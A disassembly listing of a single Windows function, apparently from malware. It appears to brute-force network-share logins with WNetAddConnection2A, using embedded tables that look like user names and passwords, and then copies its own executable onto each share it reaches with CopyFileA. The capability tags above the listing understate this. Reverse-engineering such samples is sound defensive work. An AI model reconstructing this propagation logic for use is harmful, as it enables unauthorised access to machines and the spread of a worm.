Function at 0x405d48
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x405c80
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00402b14
xor eax, eax
push ebp
push 0x405ef1
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
push dword [edi + 0x14]
push 0x405f0c
push dword [ebp - 4]
lea eax, [ebp - 4]
mov edx, 3
call fcn.004029ec
mov dword [ebp - 0x38], 1
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
call fcn.00402b24
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
call fcn.0040292c
push eax
mov eax, dword [ebp - 0x10]
call fcn.00402b24
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
call fcn.004049a0
test eax, eax
je 0x405d2c
mov eax, 0x40a3bc
mov edx, 0x20
call fcn.00404bac
mov ebx, eax
mov eax, 0x40a3e0
mov edx, 0x279
call fcn.00404bac
mov word [ebp - 0xa], ax
jmp 0x405d34
xor ebx, ebx
mov word [ebp - 0xa], 0
movzx eax, bx
test eax, eax
jl 0x405ec6
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], 0
movzx esi, word [ebp - 0xa]
test esi, esi
jl 0x405eba
inc esi
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov edx, 0x40a3bc
mov ecx, 0x20
mov ax, word [ebp - 0x14]
call fcn.00404b78
mov eax, dword [ebp - 0x40]
call fcn.00402b24
push eax
lea eax, [ebp - 0x44]
push eax
mov edx, 0x40a3e0
mov ecx, 0x279
mov ax, word [ebp - 0x18]
call fcn.00404b78
mov eax, dword [ebp - 0x44]
call fcn.00402b24
push eax
lea eax, [ebp - 0x3c]
push eax
call sub.mpr.dll_WNetAddConnection2A
test eax, eax
jne 0x405eb0
mov ebx, 1
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x28]
call fcn.00402878
lea eax, [ebp - 0x48]
push eax
lea edx, [ebp - 0x4c]
mov eax, ebx
add ax, 0xb9
call fcn.00404b48
mov edx, dword [ebp - 0x4c]
pop eax
call fcn.00402934
mov edx, dword [ebp - 0x48]
mov eax, edi
call fcn.00405b18
test eax, eax
je 0x405e8f
push 0
push dword [ebp - 4]
lea edx, [ebp - 0x54]
mov eax, ebx
add ax, 0xb9
call fcn.00404b48
push dword [ebp - 0x54]
lea edx, [ebp - 0x58]
mov ax, 0xbe
call fcn.00404b48
push dword [ebp - 0x58]
lea eax, [ebp - 0x50]
mov edx, 3
call fcn.004029ec
mov eax, dword [ebp - 0x50]
call fcn.00402b24
push eax
lea edx, [ebp - 0x5c]
xor eax, eax
call fcn.00401464
mov eax, dword [ebp - 0x5c]
call fcn.00402b24
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x405e8f
call fcn.004049a0
test eax, eax
je 0x405e88
push dword [ebp - 4]
lea edx, [ebp - 0x64]
mov eax, ebx
add ax, 0xb9
call fcn.00404b48
push dword [ebp - 0x64]
lea edx, [ebp - 0x68]
mov ax, 0xbe
call fcn.00404b48
push dword [ebp - 0x68]
lea eax, [ebp - 0x60]
mov edx, 3
call fcn.004029ec
mov edx, dword [ebp - 0x60]
mov eax, edi
call fcn.00405b48
mov dword [ebp - 8], 0xffffffff
inc ebx
cmp ebx, 5
jne 0x405db6
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x28]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x405eb0
dec ebx
jne 0x405e9e
inc dword [ebp - 0x18]
dec esi
jne 0x405d5e
inc dword [ebp - 0x14]
dec dword [ebp - 0x1c]
jne 0x405d4a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ef8
lea eax, [ebp - 0x68]
mov edx, 0xb
call fcn.004026b0
lea eax, [ebp - 0x10]
call fcn.0040268c
lea eax, [ebp - 4]
call fcn.0040268c
ret